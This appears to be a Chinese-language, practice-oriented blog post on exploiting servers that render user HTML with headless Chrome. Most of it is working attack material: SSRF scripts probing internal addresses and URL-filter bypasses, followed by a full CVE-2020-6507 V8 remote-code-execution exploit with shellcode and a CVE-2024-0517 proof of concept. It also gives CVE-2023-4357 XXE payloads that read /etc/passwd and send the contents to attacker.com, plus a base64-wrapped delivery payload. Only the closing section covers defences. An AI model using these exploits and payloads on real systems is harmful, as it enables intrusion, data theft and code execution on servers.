要想利用chrome内核在攻防中发挥作用,就要先了解一下在那些场景中回使用到这个chrome内核。本篇文章会结合具体的场景,详细分析一下chrome内核使用的过程中所造成的漏洞:
使用场景一
假设你是一个开发人员,你要编写一个让用户分享定制化海报的内容(比如说年度报告)这里你就要定制的生成图片,让用户的各项数据显示在图片上,比如头像,各种虚拟服饰,还有其他的数据。你肯定不会想着直接去操控各种图片库老实的去一点点ps,校准位置,因为实在是太麻烦了,聪明的你想到了个办法,直接将海报写成html,到时候直接填入用户数据利用浏览器内核渲染成对应的图片不就好了吗?
from fastapi import FastAPI, HTTPException
from playwright.async_api import async_playwright
import uuid
import os
app = FastAPI()
BROWSER = None
@app.on_event("startup")
async def startup_event():
global BROWSER
playwright = await async_playwright().start()
BROWSER = await playwright.chromium.launch(
args=[
'--disable-gpu',
'--no-sandbox',
'--disable-dev-shm-usage'
]
)
@app.post("/generate-poster")
async def generate_poster(html_content: str):
try:
if len(html_content) > 1_000_000:
raise HTTPException(400, "HTML内容过大")
context = await BROWSER.new_context(
java_script_enabled=True,
bypass_csp=False
)
page = await context.new_page()
await page.set_content(
f"""
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'unsafe-inline'">
</head>
<body>
{html_content}
</body>
</html>
"""
)
screenshot = await page.screenshot(
type="jpeg",
quality=90,
full_page=True,
animations="disabled"
)
filename = f"/posters/{uuid.uuid4()}.jpg"
with open(filename, "wb") as f:
f.write(screenshot)
return {"url": filename}
except Exception as e:
raise HTTPException(500, f"生成失败: {str(e)}")
finally:
await context.close()
这里就使用了fastapi为例子,实现了简单的生成海报的功能,我们作为用户传参也很简单:
{"html_str":"这里是具体的html海报内容"}
或者是开发者还可以采用url传参:
app = FastAPI()
ALLOWED_DOMAINS = {"trusted-domain.com"}
MAX_HTML_SIZE = 1_000_000
URL_REGEX = r"^https?://(?:[a-zA-Z0-9-]+\.)*trusted-domain\.com/"
async def url_filter(request: Request):
target_url = request.query_params.get("url")
if not target_url:
raise HTTPException(400, "Missing URL parameter")
parsed = urlparse(target_url)
if not parsed.scheme in ("http", "https"):
raise HTTPException(400, "Invalid protocol")
if not re.match(URL_REGEX, target_url):
raise HTTPException(403, "Forbidden URL pattern")
return target_url
@app.get("/generate-poster")
async def generate_poster(
url: str = Depends(url_filter),
user_data: str = Query(default="", max_length=1000)
):
try:
async with httpx.AsyncClient() as client:
resp = await client.get(url, timeout=10)
html_content = resp.text
if len(html_content) > MAX_HTML_SIZE:
raise HTTPException(400, "Content too large")
if re.search(r"(<script\b|javascript:)", html_content, re.I):
raise HTTPException(400, "XSS detected")
# 浏览器实例操作(保持原逻辑)
context = await BROWSER.new_context(
java_script_enabled=False, # 禁用JS执行
bypass_csp=False
)
except httpx.HTTPError as e:
raise HTTPException(502, f"Upstream error: {str(e)}")
这样一来就会直接渲染用户提交的url的html的内容了,也是十分的方便快捷不安全。
XSS->SSRF
现在切换到攻击者视角,第一如果我们能够操纵chrome浏览器,通过传参任意的脚本,这不就是XSS吗?但是这里还有一点就是chrome是在服务器上运行的,所以我们只要通过上传恶意扫描内网的js脚本,并且在前端渲染,就可以轻松在造成了全回显ssrf漏洞。
{
"html_str": "<script>\n(async () => {\n try {\n const response = await fetch('http://192.168.1.1', {\n mode: 'cors',\n headers: { 'Content-Type': 'text/html; charset=utf-8' }\n });\n const result = await response.text();\n const container = document.createElement('div');\n container.style.cssText = `position:fixed;top:0;left:0;width:100vw;height:100vh;background:#1a1a1a;color:#ff6b6b;font-size:2rem;padding:2rem;overflow:auto;z-index:9999;box-shadow:inset 0 0 30px rgba(255,107,107,0.3);`;\n container.innerHTML = `<pre style=\\\"text-shadow:0 0 10px #ff6b6b;animation:glow 1s infinite alternate\\\">${result}</pre>\n <style>@keyframes glow{from{text-shadow:0 0 10px #ff6b6b}to{text-shadow:0 0 20px #ff4757}}</style>`;\n document.body.innerHTML = '';\n document.body.appendChild(container);\n } catch (error) {\n document.body.innerHTML = `<div style=\\\"color:#ff0000;font-size:3rem;padding:2rem;background:#300000\\\">!请求失败:${error.message}</div>`;\n }\n})();</script>"
}
还有一种特殊的情况,就是该页面的html是部分可控的,比如会将你的传参的一些信息传入其中的,就以简历为例子:比如你只能修改你的个人头像,个人介绍,项目经历这些可以传参的点位,而不能修改整个样式,也就是提前内置好的html文件。这个时候,就要用到XSS注入的思路了,比如插入<h1>
标签进行探测,或者是<img src>
渲染实现无回显的ssrf,还有就是进一步的结合注入<script>
标签实现JS利用,比如我fetch一个内网的地址并且最终通过document.write实现对应回显到页面上来。等等操作,这里我就举一个简单的例子:
<!DOCTYPE html>
<html>
<head>
<title>Fetch & Write 示例</title>
<meta charset="utf-8">
</head>
<body>
<!-- 初始占位内容 -->
<h1>数据加载中...</h1>
<script>
(function() {
const safeWrite = content => {
document.open();
document.write(`<!DOCTYPE html><html>
<head>
<title>动态生成页面</title>
<style>body {font-family: Arial; padding: 20px;}</style>
</head>
<body>${content}</body></html>`);
document.close();
};
fetch('https://jsonplaceholder.typicode.com/posts/1')
.then(r => r.json())
.then(data => {
const sanitized = escapeHTML(JSON.stringify(data, null, 2));
safeWrite(`<pre>${sanitized}</pre>`);
})
.catch(e => safeWrite(`<div style="color:red">错误: ${e.message}</div>`));
function escapeHTML(str) {
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
}
})();
</script>
</body>
</html>
换一种情况,像是在url这里,就是利用返回图片的回显,访问了对应的内网地址http://192.168.1.1 但是你何必拘泥与http协议呢?你也可以通过file://
协议来读取本地文件如果此处没有限制协议名称的话。
就算限制了file和做好了对应的过率,在上述url传参的例子中我们还可以通过chrome中自带的伪协议javascript:
来实现javascript的组合利用:
javascript://www.baidu.com/%250Aalert(1);/
这个就是去绕过了域名限制了,因为在浏览器看来,javascript:
后面的是脚本所以执行的脚本是这样的:
//www.baidu.com
alert(1);/
这样就执行了xsspayload的了
当然,开发者也可以通过csp策略限制来实现防止外发请求:Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self'
者样就限制了请求的外发,但是你以为这就完了?
由于这里是chrome渲染,我们也可以通过注入meta标签来实现对应的0帧起手的跳转内网
<meta http-equiv="refresh" content="0; url=http://192.168.1.1/" />
同样的,我们再允许访问外网的情况下甚至还可以通过服务器的302来访问对应的内网地址:
<?
header("Location: <url>");
甚至我们还可以通过一些chrome独有的特性来实现绕过开发者的限制,就以最简单的域名校验为例子
- 1,要求开头必须是https://www.work.com 并且禁用@?这些特殊字符的
这个很简单,我们可以通过子域名泛解析的方式绕过,比如我在我的控制台上建立一个*.attacker.com
的泛解析,让url传参的时候配合一下,传入:https://www.work.com.attacker.com
即可,这个时候有的开发者学聪明了,使用正则表达式循环匹配,防止逃逸到外面的域名中:
但是正则难免有看漏的的情况,我这里就是通过\
来实现绕过
https://attacker.com\.www.work.com
因为chrome有个特性会把所有带\的字符进行一个替换,换成/,也算是一种自动校正机制,但是在后端校验的防火墙一般是和ssrf的防火墙通用,不会有过滤\机制,所以这里的\就被当作了域名的一部分。
结合1day
判断版本号
众所周知,我们要想了解一个开源组件组件是否可以被利用就得先知道它的版本号,chrome也不例外,这里是两种办法来判断chrome内核的版本号,分别对应上述的url式chrome传参和url式chrome传参:
-
html传参
<!DOCTYPE html> <html> <head> <title>显示 UA 头</title> </head> <body> <h2>当前浏览器的 UA 头信息:</h2> <p id="ua-info"></p> <script> // 获取 UA 头信息 var ua = navigator.userAgent; // 显示在页面上 document.getElementById('ua-info').textContent = ua; </script> </body> </html>
这样经过渲染回显后就是这个样子:
你就能够通过ua头来判断对应浏览器的版本号了
什么?你问我url传参?那不更加简单了吗?
您为啥不直接去看看日志中的UA头呢?
经典RCE漏洞:CVE-2020-6507 (Chrome 版本<83.0.4103.106)
漏洞原理简述
一句话概括,该漏洞原理就是Chrome V8 引擎的Turbofan 编译器优化错误,导致越界写入堆内存,攻击者可篡改相邻数组长度,引发内存破坏。
漏洞核心逻辑
-
构造超长数组
通过array.concat
拼接数组,利用 V8 内部方法newFixedDoubleArray
未严格校验长度的特性,创建一个长度为67108863
的数组(超出 V8 规定的最大长度67108862
)。 -
误导编译器优化
Turbofan(V8 的 JIT 编译器)在优化函数trigger
时:- 根据历史执行反馈,认为输入数组长度合法(不超过
67108862
)。 - 通过代码中的数学运算(如
x -= 67108861
和Math.max(x, 0)
),错误推断变量x
的取值范围只能是 0 或 1。 - 基于此推断,移除对
corrupting_array[x]
的边界检查(认为不可能越界)。
- 根据历史执行反馈,认为输入数组长度合法(不超过
-
实际越界写入
运行时,x
的实际值为 7(因输入数组长度超限),导致corrupting_array[7]
的赋值操作越界,篡改相邻数组corrupted_array
的内存元数据(如长度字段)。 -
内存破坏后果
篡改后的数组长度允许攻击者通过索引(如corrupted_array[0x123456]
)越界读写内存,可能进一步实现代码执行或沙箱逃逸。
但是由于这篇文章根据偏向实战运用,不是漏洞分析,这里就不展开了讲讲了。
想了解具体原理的可以看看这篇文章:Google Chrome RCE漏洞 CVE-2020-6507 和 CVE-2024-0517 流程分析-CSDN博客
这是对应的poc(ChromeRce/payload.html at master · fengxuangit/ChromeRce):
<script>
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,
0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122;
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
main();
</script>
那好了,这也是5年前的上古时代的nday了,该修的都已经修的差不多了,现在也不指望挖到了。。。。吗?
#### 实际情况是?
你说的对,但是Chrome内核是一款由Google自主研发的浏览器引擎,广泛应用于客户端内置浏览器、网页截图等业务场景。无论是Electron打包的桌面应用(VS Code、Slack)、CEF(客户端内置浏览器),还是自动化截图工具,Chromium内核凭借其跨平台、高性能、DevTools生态,成功化身“客户端开发界的瑞士军刀”。开发者:“谢邀,能用Chromium的活,绝不自己造轮子。”这些业务场景都会去调用chrome的内核,这些东西往往并不能够保证及时更新,这里就以客户端为例子,比如钉钉里面的内置浏览器:[红队攻防实战之钉钉RCE-CSDN博客](https://blog.csdn.net/weixin_48899364/article/details/134584523)
就是因为不及时更新对应的内置浏览器组件造成了rce。还有很多小厂至今都没有跟新这个。
### 梅开二度的堆利用:CVE-2024-0517(Chrome 版本<120.0.6099.224 )
没错,又是堆利用,chrome又爆漏洞了,https://blog.exodusintel.com/wp-content/uploads/2024/01/exploit_screencast.webm
这个视频的详细展示了具体的利用过程,但是现在是处于只公布了POC,但是没有公开exp的状态,不排除有高手直接利用该漏洞搓一个exp来实现对专门的客户端的利用。
```js
function main() {
class ClassParent {}
class ClassBug extends ClassParent {
constructor() {
const v24 = new new.target();
super();
let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];
}
[1000] = 8;
}
for (let i = 0; i < 300; i++) {
Reflect.construct(ClassBug, [], ClassParent);
}
}
%NeverOptimizeFunction(main);
main();
XXE漏洞CVE-2023-4357(chrome版本<116.0.5845.96)
最早的exp版本:xcanwin/CVE-2023-4357-Chrome-XXE: [漏洞复现] 全球首款单文件利用 CVE-2023-4357 Chrome XXE 漏洞 EXP, 实现对访客者本地文件窃取. Chrome XXE vulnerability EXP, allowing attackers to obtain local files of visitors.
简要来说,这个漏洞原理就是Chrome的XSLT处理模块(基于libxslt库)在通过document()
方法加载外部XML文档时,未正确实施跨域校验,关键在于引用和解析xsl脚本。
结合我上文的操作,第一种我们直接在svg中传参,
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///etc/passwd">
<!ENTITY passwd_c SYSTEM "file:///etc/passwd">
<!ENTITY sysini_p "file:///etc/mysql/my.cnf">
<!ENTITY sysini_c SYSTEM "file:///etc/mysql/my.cnf">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
<p class="&sysini_p;">&sysini_c;</p>
</div>
<div id="r" />
<script>
document.querySelector('#r').innerHTML = `
remote web url: ${location.href}<br/><br/>
local file path: ${document.querySelector('p').className}<br/>
local file content: ${document.querySelector('p').innerHTML}<br/><br/>
`;
</script>
</body>
</xsl:template>
</xsl:stylesheet>
这就可以直接覆盖页面上的所有内容,并且显示上述的页面,当然如果要利用的话你需要先在服务器上先部署这个svg文件就是了,并且允许让传参的方式让服务器访问。你也可以进一步通过外部实体引用来修改这个poc来实现讲其中的内容回传到对应攻击者的服务器上:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfiltrate "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
%exfiltrate;
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div>&send;</div>
</body>
</xsl:template>
</xsl:stylesheet>
其实直接传参xml服务器后端其实在大多数情况是有过滤的,而且直接渲染xsl,svg,xml在白名单机制下会被轻松过滤。这个时候就要你通过html绕过
这里附赠一个我做梦梦到的案例:
{"content":"<具体html内容>","width":500,"height":1000}
在这个案例中:是直接渲染了html到图片,我这里并不能直接上传上文svg的payload具体内容,因为会渲染错误,所以我们得逐步引用到html中:
首先这个漏洞的最终触发点位是由于xsl脚本错误解析,可以被双写绕过,所以最简单的XXE-payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts "1">
<!ENTITY group SYSTEM "file:///etc/host">
]>
<p>
<p style="border-style: dotted;">$xxe1:{&passwd;}
</p>
<p style="border-style: dotted;">$/etc/hosts:{&hosts;}
</p>
<p style="border-style: dotted;">$xxe2{&group;}
</p>
</p>
这些然后XXE解析的点位是在svg中,我们需要将其包装到svg中:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="#"?>
<xsl:stylesheet id="color-change" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 1000 1000">
<foreignObject id="myObj" width="1000" height="1000">
<div id="cve" style="font-size:xxx-large" xmlns="http://www.w3.org/1999/xhtml">
<a href="#">#Copy me#</a><br/>
XSL: <xsl:value-of select="system-property('xsl:version')"/><br/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')"/><br/>
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')"/><br/>
document() <xsl:copy-of select="document('data:text/xsl;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHAgWwo8IUVOVElUWSBwYXNzd2QgU1lTVEVNICJmaWxlOi8vL2V0Yy9wYXNzd2QiPgo8IUVOVElUWSBob3N0cyAiMSI+CjwhRU5USVRZIGdyb3VwIFNZU1RFTSAiZmlsZTovLy9ldGMvaG9zdCI+Cl0+IAoKPHA+CiAgPHAgc3R5bGU9ImJvcmRlci1zdHlsZTogZG90dGVkOyI+JHh4ZTE6eyZwYXNzd2Q7fQogIDwvcD4KIDxwIHN0eWxlPSJib3JkZXItc3R5bGU6IGRvdHRlZDsiPiQvZXRjL2hvc3RzOnsmaG9zdHM7fQogIDwvcD4KIDxwIHN0eWxlPSJib3JkZXItc3R5bGU6IGRvdHRlZDsiPiR4eGUyeyZncm91cDt9CiAgPC9wPgo8L3A+')"/>
</div>
</foreignObject>
</svg>
</xsl:template>
</xsl:stylesheet>
这里我是进行了base64处理,但是这个点位还不是最终的payload,因为我们需要将payload写成html的形式。我这里再次base64采用伪协议,放在了object标签种类中了
{"content":"<object type='image/svg+xml' data='data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iIyI/PgoKPHhzbDpzdHlsZXNoZWV0IGlkPSJjb2xvci1jaGFuZ2UiIHZlcnNpb249IjEuMCIgeG1sbnM6eHNsPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iPgoKIDx4c2w6dGVtcGxhdGUgbWF0Y2g9Ii8iPgoJPHN2ZyB2ZXJzaW9uPSIxLjEiIGlkPSJDYXBhXzEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHg9IjBweCIgeT0iMHB4IiB2aWV3Qm94PSIwIDAgMTAwMCAxMDAwIj4KCQk8Zm9yZWlnbk9iamVjdCBpZD0ibXlPYmoiIHdpZHRoPSIxMDAwIiBoZWlnaHQ9IjEwMDAiPgoJCSAgICA8ZGl2IGlkPSJjdmUiIHN0eWxlPSJmb250LXNpemU6eHh4LWxhcmdlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CgkJCTxhIGhyZWY9IiMiPiNDb3B5IG1lIzwvYT48YnIvPgoJCQlYU0w6IDx4c2w6dmFsdWUtb2Ygc2VsZWN0PSJzeXN0ZW0tcHJvcGVydHkoJ3hzbDp2ZXJzaW9uJykiLz48YnIvPgoJCQlWZW5kb3I6IDx4c2w6dmFsdWUtb2Ygc2VsZWN0PSJzeXN0ZW0tcHJvcGVydHkoJ3hzbDp2ZW5kb3InKSIvPjxici8+CgkJCVZlbmRvciBVUkw6IDx4c2w6dmFsdWUtb2Ygc2VsZWN0PSJzeXN0ZW0tcHJvcGVydHkoJ3hzbDp2ZW5kb3ItdXJsJykiLz48YnIvPgoJCQlkb2N1bWVudCgpIDx4c2w6Y29weS1vZiAgc2VsZWN0PSJkb2N1bWVudCgnZGF0YTp0ZXh0L3hzbDtiYXNlNjQsUEQ5NGJXd2dkbVZ5YzJsdmJqMGlNUzR3SWlCbGJtTnZaR2x1WnowaVZWUkdMVGdpUHo0S1BDRkVUME5VV1ZCRklIQWdXd284SVVWT1ZFbFVXU0J3WVhOemQyUWdVMWxUVkVWTklDSm1hV3hsT2k4dkwyVjBZeTl3WVhOemQyUWlQZ284SVVWT1ZFbFVXU0JvYjNOMGN5QWlNU0krQ2p3aFJVNVVTVlJaSUdkeWIzVndJRk5aVTFSRlRTQWlabWxzWlRvdkx5OWxkR012YUc5emRDSStDbDArSUFvS1BIQStDaUFnUEhBZ2MzUjViR1U5SW1KdmNtUmxjaTF6ZEhsc1pUb2daRzkwZEdWa095SStKSGg0WlRFNmV5WndZWE56ZDJRN2ZRb2dJRHd2Y0Q0S0lEeHdJSE4wZVd4bFBTSmliM0prWlhJdGMzUjViR1U2SUdSdmRIUmxaRHNpUGlRdlpYUmpMMmh2YzNSek9uc21hRzl6ZEhNN2ZRb2dJRHd2Y0Q0S0lEeHdJSE4wZVd4bFBTSmliM0prWlhJdGMzUjViR1U2SUdSdmRIUmxaRHNpUGlSNGVHVXlleVpuY205MWNEdDlDaUFnUEM5d1BnbzhMM0ErJykiLz4KCQkgICAgPC9kaXY+CgoJCTwvZm9yZWlnbk9iamVjdD4KCTwvc3ZnPgogPC94c2w6dGVtcGxhdGU+CjwveHNsOnN0eWxlc2hlZXQ+' width='200' height='200'>\\n <p>err</p>\\n</object>","width":500,"height":1000}
这样就实现了最终的利用。
如何安全的实现对应的功能?
治标不治本法:来点过滤
一般在已经允许的业务之中,我们比较难直接有架构层面的改动,例如针对上述通过js的ssrf漏洞,我们可以直接上chrome的相关设置来实现对应的禁用:
# Playwright 示例:禁用网络请求
context = await browser.new_context(
java_script_enabled=False,
service_workers="block"
)
像是在这里,我就是禁用了所有的js脚本和外联许可,但是如果通过对应的0day,比如XXE外部实体引用的漏洞还是会寄掉
难道说,加点自动化审计组件?:
from bleach import clean
sanitized_html = clean(html, tags=["div", "p"], attributes={"*": ["class"]})
又或者再来点csp策略?
Content-Security-Policy: default-src 'self'
再不行上沙箱:
<iframe sandbox="allow-scripts allow-same-origin" src="untrusted.html"></iframe>
干脆不用chrome了,老子改用更加安全的火狐浏览器
from playwright.async_api import async_playwright
@app.post("/html2png")
async def convert_html_to_png(html: str):
async with async_playwright() as p:
browser = await p.firefox.launch()
page = await browser.new_page()
await page.set_content(html)
screenshot = await page.screenshot(type="png")
await browser.close()
return Response(content=screenshot, media_type="image/png")
并且放到docker里面防止通内网。
其实你会发现上述所有的操作都不能实现对应的防御手段,因为总有数不完的0day等待发现,数不完的防火墙等待着被过滤。就算是再docker里还是能够通过读取元数据和其他共享目录的方式实现docker逃逸,firefox也会被发现0day,上述的都是缓兵之计。
根治这种漏洞:byebye,浏览器内核渲染
我个人的建议是如果有机会,还是得对业务大改,比如直接采用解析html的第三方库来实现对应的pdf或者image的生成:
from fastapi.responses import Response
from weasyprint import HTML
@app.post("/html2pdf")
async def convert_html_to_pdf(html: str):
pdf = HTML(string=html).write_pdf()
return Response(content=pdf, media_type="application/pdf")
或者我直接大力出奇迹,纯纯通过图片库的操作实现对应的界面渲染,在杜绝漏洞的同时让开发成本指数上升,这种情况只使用与对灵活性要求不高的业务